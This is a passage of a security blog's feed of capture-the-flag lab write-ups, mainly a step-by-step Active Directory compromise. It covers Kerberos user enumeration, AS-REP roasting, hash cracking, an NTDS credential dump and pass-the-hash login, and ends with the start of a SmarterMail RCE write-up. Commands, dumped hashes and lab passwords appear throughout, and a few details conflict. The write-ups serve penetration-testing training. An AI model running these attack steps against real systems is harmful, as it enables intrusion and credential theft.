<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> search <span class="nt">-f</span> flag2.txt
Found 1 result...
<span class="o">=================</span>

Path                                  Size <span class="o">(</span>bytes<span class="o">)</span>  Modified <span class="o">(</span>UTC<span class="o">)</span>
<span class="nt">----</span>                                  <span class="nt">------------</span>  <span class="nt">--------------</span>
c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>onfig<span class="se">\f</span>lag2.txt  34            2019-03-18 01:02:48 +0530

meterpreter <span class="o">&gt;</span> <span class="nb">cat </span>c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>onfig<span class="se">\f</span>lag2.txt
<span class="o">[</span>-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter <span class="o">&gt;</span> <span class="nb">cat</span> <span class="s2">"c:</span><span class="se">\W</span><span class="s2">indows</span><span class="se">\S</span><span class="s2">ystem32</span><span class="se">\c</span><span class="s2">onfig</span><span class="se">\f</span><span class="s2">lag2.txt"</span>
flag<span class="o">{</span><span class="k">********************************</span>s<span class="o">}</span>
meterpreter <span class="o">&gt;</span> search <span class="nt">-f</span> flag3.txt
Found 1 result...
<span class="o">=================</span>

Path                              Size <span class="o">(</span>bytes<span class="o">)</span>  Modified <span class="o">(</span>UTC<span class="o">)</span>
<span class="nt">----</span>                              <span class="nt">------------</span>  <span class="nt">--------------</span>
c:<span class="se">\U</span>sers<span class="se">\J</span>on<span class="se">\D</span>ocuments<span class="se">\f</span>lag3.txt  37            2019-03-18 00:56:36 +0530

meterpreter <span class="o">&gt;</span> <span class="nb">cat</span> <span class="s2">"c:</span><span class="se">\U</span><span class="s2">sers</span><span class="se">\J</span><span class="s2">on</span><span class="se">\D</span><span class="s2">ocuments</span><span class="se">\f</span><span class="s2">lag3.txt"</span>
flag<span class="o">{</span><span class="k">********************************</span><span class="o">}</span>
</code></pre></div></div>

<ul>
  <li>flag1 : <code class="language-plaintext highlighter-rouge">flag{********************************}</code></li>
  <li>flag2 : <code class="language-plaintext highlighter-rouge">flag{********************************}</code></li>
  <li>flag3 : <code class="language-plaintext highlighter-rouge">flag{********************************}</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[Blue]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Attacktive Directory -TryHackMe Active Directory Lab Solution</title><link href="https://zishanhack.com/blog/thm/attacktivedirectory/" rel="alternate" type="text/html" title="Attacktive Directory -TryHackMe Active Directory Lab Solution" /><published>2024-02-01T00:00:00+05:30</published><updated>2024-02-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/attacktivedirectory</id><content type="html" xml:base="https://zishanhack.com/blog/thm/attacktivedirectory/"><![CDATA[<h1 id="attacktive-directory">Attacktive Directory</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#deploy-the-machine">Deploy The Machine</a></li>
  <li><a href="#setup">Setup</a></li>
  <li><a href="#welcome-to-attacktive-directory">Welcome to Attacktive Directory</a></li>
  <li><a href="#enumerating-users-via-kerberos">Enumerating Users via Kerberos</a></li>
  <li><a href="#abusing-kerberos">Abusing Kerberos</a></li>
  <li><a href="#back-to-the-basics">Back to the Basics</a></li>
  <li><a href="#elevating-privileges-within-the-domain">Elevating Privileges within the Domain</a></li>
  <li><a href="#flag-submission-panel">Flag Submission Panel</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/r/room/attacktivedirectory">https://thm.com/r/room/attacktivedirectory</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="NMap.org">NMap</a></li>
  <li><a href="https://github.com/ropnop/kerbrute/releases">kerbrute</a></li>
  <li><a href="https://github.com/fortra/impacket">Impacket</a></li>
  <li><a href="https://hashcat.net/hashcat/">hashcat</a></li>
  <li><a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">smbclient</a></li>
  <li><a href="https://github.com/Hackplayers/evil-winrm">Evil-WinRM</a></li>
</ul>

<h2 id="deploy-the-machine">Deploy The Machine</h2>

<ul>
  <li>Goto Access and get ovpn file to connect https://thm.com/access Or, Start attackbox for testing.</li>
  <li><code class="language-plaintext highlighter-rouge">Start Machine</code> and get Target IP from “Target Machine Information”.</li>
  <li>Now, Click on all four Completes.</li>
</ul>

<h2 id="setup">Setup</h2>

<ul>
  <li>Follow Instructions in this section, to <code class="language-plaintext highlighter-rouge">Install Impacket, Bloodhound and Neo4j</code>.</li>
  <li>After installing click on <code class="language-plaintext highlighter-rouge">Complete</code>.</li>
</ul>

<h2 id="welcome-to-attacktive-directory">Welcome to Attacktive Directory</h2>

<ul>
  <li>
    <p>Running nmap scan shows some open ports, command used <code class="language-plaintext highlighter-rouge">nmap -sV -sC 10.10.94.138</code>.</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> nmap <span class="nt">-sV</span> <span class="nt">-sC</span> 10.10.94.138
 Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-08-24 12:12 IST
 Nmap scan report <span class="k">for </span>10.10.94.138
 Host is up <span class="o">(</span>0.17s latency<span class="o">)</span><span class="nb">.</span>
 Not shown: 987 closed tcp ports <span class="o">(</span>reset<span class="o">)</span>
 PORT     STATE SERVICE       VERSION
 53/tcp   open  domain        Simple DNS Plus
 80/tcp   open  http          Microsoft IIS httpd 10.0
 | http-methods: 
 |_  Potentially risky methods: TRACE
 |_http-server-header: Microsoft-IIS/10.0
 |_http-title: IIS Windows Server
 88/tcp   open  kerberos-sec  Microsoft Windows Kerberos <span class="o">(</span>server <span class="nb">time</span>: 2024-08-24 06:49:23Z<span class="o">)</span>
 135/tcp  open  msrpc         Microsoft Windows RPC
 139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: spookysec.local0., Site: Default-First-Site-Name<span class="o">)</span>
 445/tcp  open  microsoft-ds?
 464/tcp  open  kpasswd5?
 593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
 636/tcp  open  tcpwrapped
 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: spookysec.local0., Site: Default-First-Site-Name<span class="o">)</span>
 3269/tcp open  tcpwrapped
 3389/tcp open  ms-wbt-server Microsoft Terminal Services
 |_ssl-date: 2024-08-24T06:49:42+00:00<span class="p">;</span> 0s from scanner time.
 | rdp-ntlm-info: 
 |   Target_Name: THM-AD
 |   NetBIOS_Domain_Name: THM-AD
 |   NetBIOS_Computer_Name: ATTACKTIVEDIREC
 |   DNS_Domain_Name: spookysec.local
 |   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
 |   Product_Version: 10.0.17763
 |_  System_Time: 2024-08-24T06:49:33+00:00
 | ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>AttacktiveDirectory.spookysec.local
 | Not valid before: 2024-08-23T06:06:09
 |_Not valid after:  2025-02-22T06:06:09
 Service Info: Host: ATTACKTIVEDIREC<span class="p">;</span> OS: Windows<span class="p">;</span> CPE: cpe:/o:microsoft:windows
   
 Host script results:
 | smb2-security-mode: 
 |   3:1:1: 
 |_    Message signing enabled and required
 | smb2-time: 
 |   <span class="nb">date</span>: 2024-08-24T06:49:37
 |_  start_date: N/A
   
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
 Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>449.40 seconds
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What tool will allow us to enumerate port 139/445?</code> Answer <code class="language-plaintext highlighter-rouge">enum4linux</code>. <code class="language-plaintext highlighter-rouge">enum4linux</code> can be used to enumerate <code class="language-plaintext highlighter-rouge">139</code>/<code class="language-plaintext highlighter-rouge">445</code> ports.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the NetBIOS-Domain Name of the machine?</code> Answer <code class="language-plaintext highlighter-rouge">THM-AD</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What invalid TLD do people commonly use for their Active Directory Domain?</code> Answer <code class="language-plaintext highlighter-rouge">.local</code></li>
</ul>

<h2 id="enumerating-users-via-kerberos">Enumerating Users via Kerberos</h2>

<ul>
  <li>Now, we will bruteforce Kerberos with <a href="https://github.com/ropnop/kerbrute/releases">kerbrute</a> using given <code class="language-plaintext highlighter-rouge">userlist.txt</code> and <code class="language-plaintext highlighter-rouge">passwordlist.txt</code>. So, at first we need to download those wordlists and install <code class="language-plaintext highlighter-rouge">kerbrute</code>.</li>
  <li>Assign <code class="language-plaintext highlighter-rouge">spookysec.local</code> to machine ip is in <code class="language-plaintext highlighter-rouge">host</code> file. We can simply edit <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file in Linux to assign domain to the ip.</li>
  <li>We can use this command <code class="language-plaintext highlighter-rouge">kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt</code> to enumerate users. We got some valid usernames after scanning.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> james@spookysec.local
 svc-admin@spookysec.local
 robin@spookysec.local
 darkstar@spookysec.local
 administrator@spookysec.local
 backup@spookysec.local
 paradox@spookysec.local
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What command within Kerbrute will allow us to enumerate valid usernames?</code> Answer <code class="language-plaintext highlighter-rouge">userenum</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What notable account is discovered? (These should jump out at you)</code> Answer <code class="language-plaintext highlighter-rouge">svc-admin</code>. <code class="language-plaintext highlighter-rouge">svc-admin</code> typically suggests a <code class="language-plaintext highlighter-rouge">service account</code> (<code class="language-plaintext highlighter-rouge">svc</code>) with <code class="language-plaintext highlighter-rouge">administrative privileges</code> (<code class="language-plaintext highlighter-rouge">admin</code>).</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the other notable account is discovered? (These should jump out at you)</code> Answer <code class="language-plaintext highlighter-rouge">backup</code>.</li>
</ul>

<h2 id="abusing-kerberos">Abusing Kerberos</h2>

<ul>
  <li>Read this section, then proceed.</li>
  <li>We can use <code class="language-plaintext highlighter-rouge">GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass</code> or <code class="language-plaintext highlighter-rouge">GetNPUsers.py -dc-ip spookysec.local spookysec.local/ -no-pass -usersfile user.txt</code> after saving all users to <code class="language-plaintext highlighter-rouge">user.txt</code> to capture <code class="language-plaintext highlighter-rouge">TGT Token</code> of <code class="language-plaintext highlighter-rouge">svc-admin</code> using ASREPRoasting method.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GetNPUsers.py <span class="nt">-dc-ip</span> spookysec.local spookysec.local/svc-admin <span class="nt">-no-pass</span>
Impacket v0.12.0.dev1+20240807.21946.829239e - Copyright 2023 Fortra

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting TGT <span class="k">for </span>svc-admin
<span class="nv">$krb5asrep$23$svc</span><span class="nt">-admin</span>@SPOOKYSEC.LOCAL:92f01444cd97361751ec4fb5b5ea985a<span class="nv">$04b60fa94a84739e7db13609241d16247154e8d1f952c26a0c5063e53d08c9a4365690982460f7872d8ade23113cd4df929c85d5404f4380fdcaa5af2ee22d7988d7ee428e535be1b2dcff88bf574d418ca88c3b435cea77b6ea322b510bcf59ac1fba479d54db52104c3bec497cf1b81ddcd384bbb5d115ba2c380f0520705c7b63c88f548f17a9c6c8c1b746175b896b29555a45002ad5195a90d42c45193e42915a1107ed46a6b79da94b835f5e7bd8858c0bb7f07fecab80f7097c769da284ea270697500ea73ea223d93684e8d087248610cf7809d076d5e97564e9729ec5aa04656eaec9f3f5a92ecfaa8524346e93</span>
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?</code> Answer <code class="language-plaintext highlighter-rouge">svc-admin</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)</code> Answer <code class="language-plaintext highlighter-rouge">Kerberos 5 AS-REP etype 23</code>. Source: https://hashcat.net/wiki/doku.php?id=example_hashes</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What mode is the hash?</code> Answer <code class="language-plaintext highlighter-rouge">18200</code> Source: https://hashcat.net/wiki/doku.php?id=example_hashes</li>
  <li>We can save the <code class="language-plaintext highlighter-rouge">TGT hash</code> inside a file named <code class="language-plaintext highlighter-rouge">hash.txt</code> with given passwordlist and crack it with <code class="language-plaintext highlighter-rouge">hashcat -m 18200 hash.txt passwordlist.txt</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Now crack the hash with the modified password list provided, what is the user accounts password?</code> Answer <code class="language-plaintext highlighter-rouge">management2005</code></li>
</ul>

<h2 id="back-to-the-basics">Back to the Basics</h2>

<ul>
  <li>If we enumerate with smbclient we can see some shares. Used command <code class="language-plaintext highlighter-rouge">smbclient -L \\\\spookysec.local\\ -U 'svc-admin'</code> using password <code class="language-plaintext highlighter-rouge">management2005</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-L</span> <span class="se">\\\\</span>spookysec.local<span class="se">\\</span> <span class="nt">-U</span> <span class="s1">'svc-admin'</span>
Password <span class="k">for</span> <span class="o">[</span>WORKGROUP<span class="se">\s</span>vc-admin]:

	Sharename       Type      Comment
	<span class="nt">---------</span>       <span class="nt">----</span>      <span class="nt">-------</span>
	ADMIN<span class="nv">$ </span>         Disk      Remote Admin
	backup          Disk      
	C<span class="nv">$ </span>             Disk      Default share
	IPC<span class="nv">$ </span>           IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
SMB1 disabled <span class="nt">--</span> no workgroup available
</code></pre></div></div>

<ul>
  <li>If we check <code class="language-plaintext highlighter-rouge">backup</code> share with <code class="language-plaintext highlighter-rouge">smbclient</code> using <code class="language-plaintext highlighter-rouge">smbclient \\\\spookysec.local\\backup -U 'svc-admin'</code> command and password <code class="language-plaintext highlighter-rouge">management2005</code>, We can see <code class="language-plaintext highlighter-rouge">backup_credentials.txt</code> file there with <code class="language-plaintext highlighter-rouge">ls</code> or <code class="language-plaintext highlighter-rouge">dir</code> command. Then we can download <code class="language-plaintext highlighter-rouge">backup_credentials.txt</code> with <code class="language-plaintext highlighter-rouge">get backup_credentials.txt</code> command.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ORKGROUP<span class="se">\s</span>vc-admin]:
Try <span class="s2">"help"</span> to get a list of possible commands.
smb: <span class="se">\&gt;</span> <span class="nb">ls</span>
  <span class="nb">.</span>                                   D        0  Sun Apr  5 00:38:39 2020
  ..                                  D        0  Sun Apr  5 00:38:39 2020
  backup_credentials.txt              A       48  Sun Apr  5 00:38:53 2020

		8247551 blocks of size 4096. 3648829 blocks available
smb: <span class="se">\&gt;</span> get backup_credentials.txt
getting file <span class="se">\b</span>ackup_credentials.txt of size 48 as backup_credentials.txt <span class="o">(</span>0.1 KiloBytes/sec<span class="o">)</span> <span class="o">(</span>average 0.1 KiloBytes/sec<span class="o">)</span>
smb: <span class="se">\&gt;</span> 

</code></pre></div></div>

<ul>
  <li>Inside it there is a <code class="language-plaintext highlighter-rouge">base64</code> encoded string <code class="language-plaintext highlighter-rouge">YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</code>. If we decode it using <code class="language-plaintext highlighter-rouge">cat backup_credentials.txt |base64 -d</code> command we will get <code class="language-plaintext highlighter-rouge">backup@spookysec.local:backup2517860</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What utility can we use to map remote SMB shares?</code> Answer <code class="language-plaintext highlighter-rouge">smbclient</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Which option will list shares?</code> Answer <code class="language-plaintext highlighter-rouge">-L</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many remote shares is the server listing?</code> Answer <code class="language-plaintext highlighter-rouge">6</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">There is one particular share that we have access to that contains a text file. Which share is it?</code> Answer <code class="language-plaintext highlighter-rouge">backup</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the content of the file?</code> Answer <code class="language-plaintext highlighter-rouge">YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Decoding the contents of the file, what is the full contents?</code> Answer <code class="language-plaintext highlighter-rouge">backup@spookysec.local:backup2517860</code></li>
</ul>

<h2 id="elevating-privileges-within-the-domain">Elevating Privileges within the Domain</h2>

<ul>
  <li>We can dump password hashes, as backup account has that permission using <code class="language-plaintext highlighter-rouge">secretsdump.py -dc-ip spookysec.local backup:backup251786@spookysec.local</code> command.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py <span class="nt">-dc-ip</span> spookysec.local backup:backup2517860@spookysec.local
Impacket v0.12.0.dev1+20240807.21946.829239e - Copyright 2023 Fortra

<span class="o">[</span>-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping Domain Credentials <span class="o">(</span>domain<span class="se">\u</span><span class="nb">id</span>:rid:lmhash:nthash<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213<span class="k">*******</span>97260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local<span class="se">\s</span>kidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local<span class="se">\b</span>reakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local<span class="se">\j</span>ames:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local<span class="se">\o</span>ptional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local<span class="se">\s</span>herlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local<span class="se">\d</span>arkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
.........
..............
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What method allowed us to dump NTDS.DIT?</code> Answer <code class="language-plaintext highlighter-rouge">DRSUAPI</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the Administrators NTLM hash?</code> Answer <code class="language-plaintext highlighter-rouge">0e0363213e37b94221497260b0bcb4fc</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What method of attack could allow us to authenticate as the user without the password?</code> Answer <code class="language-plaintext highlighter-rouge">Pass the hash</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Using a tool called Evil-WinRM what option will allow us to use a hash?</code> Answer <code class="language-plaintext highlighter-rouge">-H</code></li>
</ul>

<h2 id="flag-submission-panel">Flag Submission Panel</h2>

<ul>
  <li>We can login to administrator using <code class="language-plaintext highlighter-rouge">evil-winrm</code> with <code class="language-plaintext highlighter-rouge">evil-winrm -i spookysec.local -u Administrator -H 0e03632*******b0bcb4fc</code> command. We can get three flag files inside three directory.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> spookysec.local <span class="nt">-u</span> Administrator <span class="nt">-H</span> 0e036321<span class="k">*****</span>97260b0bcb4fc                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc<span class="o">()</span> <span class="k">function </span>is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments&gt; <span class="nb">type </span>C:<span class="se">\U</span>sers<span class="se">\s</span>vc-admin<span class="se">\D</span>esktop<span class="se">\u</span>ser.txt.txt
TryHackMe<span class="o">{</span>K3rb3<span class="k">****</span>4uth<span class="o">}</span>
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments&gt; <span class="nb">type </span>C:<span class="se">\U</span>sers<span class="se">\b</span>ackup<span class="se">\D</span>esktop<span class="se">\P</span>rivEsc.txt
TryHackMe<span class="o">{</span>B4c<span class="k">*****</span>c0tty!<span class="o">}</span>
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments&gt; <span class="nb">type </span>C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>esktop<span class="se">\r</span>oot.txt
TryHackMe<span class="o">{</span>4ctive<span class="k">*****</span>toryM4st3r<span class="o">}</span>
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments&gt; 
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">svc-admin</code> Answer <code class="language-plaintext highlighter-rouge">TryHackMe{K3rb3*****3_4uth}</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">backup</code> Answer <code class="language-plaintext highlighter-rouge">TryHackMe{B4*****0tty!}</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">administrator</code> Answer <code class="language-plaintext highlighter-rouge">TryHackMe{4ctiv******M4st3r}</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[Attacktive Directory]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Algernon - ​Proving Grounds - Easy Windows Offsec PG Writeup</title><link href="https://zishanhack.com/blog/offsec/algernon/" rel="alternate" type="text/html" title="Algernon - ​Proving Grounds - Easy Windows Offsec PG Writeup" /><published>2024-01-01T00:00:00+05:30</published><updated>2024-01-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/offsec/algernon</id><content type="html" xml:base="https://zishanhack.com/blog/offsec/algernon/"><![CDATA[<h1 id="proving-grounds---easy-windows---algernon">​Proving Grounds - Easy Windows - Algernon</h1>

<ul>
  <li><strong>Points</strong> 10</li>
  <li><strong>Level</strong> Easy</li>
  <li><strong>Number of Flags</strong> 1</li>
  <li><strong>Vector Type</strong> SmarterMail</li>
  <li><strong>IP</strong> 192.168.53.65</li>
  <li><strong>Job Roles</strong> Network Penetration Tester</li>
  <li><strong>Skills</strong> Web Application Attacks</li>
</ul>

<h1 id="about">About</h1>

<p>In this lab, we will exploit a remote code execution vulnerability in build 6985 of the SmarterMail application. This exercise enhances your skills in identifying and exploiting vulnerabilities for gaining access to systems.</p>

<h1 id="summary">Summary</h1>

<p>This lab demonstrates exploiting a remote code execution vulnerability in SmarterMail build 6985 to gain SYSTEM-level access on a Windows server. Learners will identify the application version, leverage an RCE exploit, and use a reverse shell payload to compromise the target. This lab emphasizes web application exploitation and highlights the risks of unpatched software.</p>

<h2 id="learning-objectives">Learning Objectives</h2>

<p><strong>After completion of this lab, learners will be able to:</strong></p>

<ul>
  <li>Enumerate open ports and services to identify the SmarterMail application running on port 9998.</li>
  <li>Confirm the application version and search for applicable exploits.</li>
  <li>Deploy the SmarterMail RCE exploit with a reverse shell payload.</li>
  <li>Verify SYSTEM-level access upon successful exploitation.</li>
  <li>Understand the importance of applying patches to mitigate known vulnerabilities.</li>
</ul>

<h2 id="recon">Recon</h2>

<ul>
  <li>NMap scan</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 192.168.53.65
Starting Nmap 7.95 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2025-07-17 09:10 UTC
Nmap scan report <span class="k">for </span>192.168.53.65
Host is up <span class="o">(</span>0.00086s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 994 closed tcp ports <span class="o">(</span>reset<span class="o">)</span>
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed <span class="o">(</span>FTP code 230<span class="o">)</span>
| 04-29-20  10:31PM       &lt;DIR&gt;          ImapRetrieval
| 07-17-25  02:07AM       &lt;DIR&gt;          Logs
| 04-29-20  10:31PM       &lt;DIR&gt;          PopRetrieval
|_04-29-20  10:32PM       &lt;DIR&gt;          Spool
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
9998/tcp open  http          Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
| uptime-agent-info: HTTP/1.1 400 Bad Request<span class="se">\x</span>0D
| Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>us-ascii<span class="se">\x</span>0D
| Server: Microsoft-HTTPAPI/2.0<span class="se">\x</span>0D
| Date: Thu, 17 Jul 2025 09:11:05 GMT<span class="se">\x</span>0D
| Connection: close<span class="se">\x</span>0D
| Content-Length: 326<span class="se">\x</span>0D
| <span class="se">\x</span>0D
| &lt;<span class="o">!</span>DOCTYPE HTML PUBLIC <span class="s2">"-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"</span><span class="o">&gt;</span><span class="se">\x</span>0D
| &lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Bad Request&lt;/TITLE&gt;<span class="se">\x</span>0D
| &lt;META HTTP-EQUIV<span class="o">=</span><span class="s2">"Content-Type"</span> <span class="nv">Content</span><span class="o">=</span><span class="s2">"text/html; charset=us-ascii"</span><span class="o">&gt;</span>&lt;/HEAD&gt;<span class="se">\x</span>0D
| &lt;BODY&gt;&lt;h2&gt;Bad Request - Invalid Verb&lt;/h2&gt;<span class="se">\x</span>0D
| &lt;hr&gt;&lt;p&gt;HTTP Error 400. The request verb is invalid.&lt;/p&gt;<span class="se">\x</span>0D
|_&lt;/BODY&gt;&lt;/HTML&gt;<span class="se">\x</span>0D
|_http-server-header: Microsoft-IIS/10.0
Device <span class="nb">type</span>: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1903 - 21H1
Network Distance: 2 hops
Service Info: OS: Windows<span class="p">;</span> CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   <span class="nb">date</span>: 2025-07-17T09:11:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>37.88 seconds

</code></pre></div></div>

<h2 id="basic-enumeration">Basic Enumeration</h2>

<ul>
  <li>Anonymous FTP login is enabled, allowing unauthenticated access.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp 192.168.53.65
Connected to 192.168.53.65.
220 Microsoft FTP Service
Name <span class="o">(</span>192.168.53.65:kali<span class="o">)</span>: anonymous
331 Anonymous access allowed, send identity <span class="o">(</span>e-mail name<span class="o">)</span> as password.
Password: 
230 User logged <span class="k">in</span><span class="nb">.</span>
Remote system <span class="nb">type </span>is Windows_NT.
</code></pre></div></div>

<p><strong>Note: No sensitive data was found in the accessible FTP directories.(Rabbit Hole)</strong></p>

<ul>
  <li>Port 80 is just a windows IIS page.</li>
  <li>Port 9998 is a login page.</li>
</ul>

<h2 id="port-9998-enumeration">Port 9998 Enumeration</h2>

<ul>
  <li>Opening port 9998 in browser redirects to http://192.168.53.65:9998/interface/root#/login.</li>
  <li>Which is a login page belongs to <strong>smartmailer</strong>.</li>
  <li>Researching exploits for SmarterMail on Google we come across an interesting exploit.</li>
  <li>Exploit link https://www.exploit-db.com/exploits/49216</li>
</ul>

<h2 id="exploiting-cve-2019-7214-to-get-initial-access">Exploiting CVE-2019-7214 to get initial access</h2>

<ul>
  <li>Looking at the <code class="language-plaintext highlighter-rouge">nmap</code> results from earlier we do have .NET remoting running on port 17001. As such this exploit should be applicable to the target machine.</li>
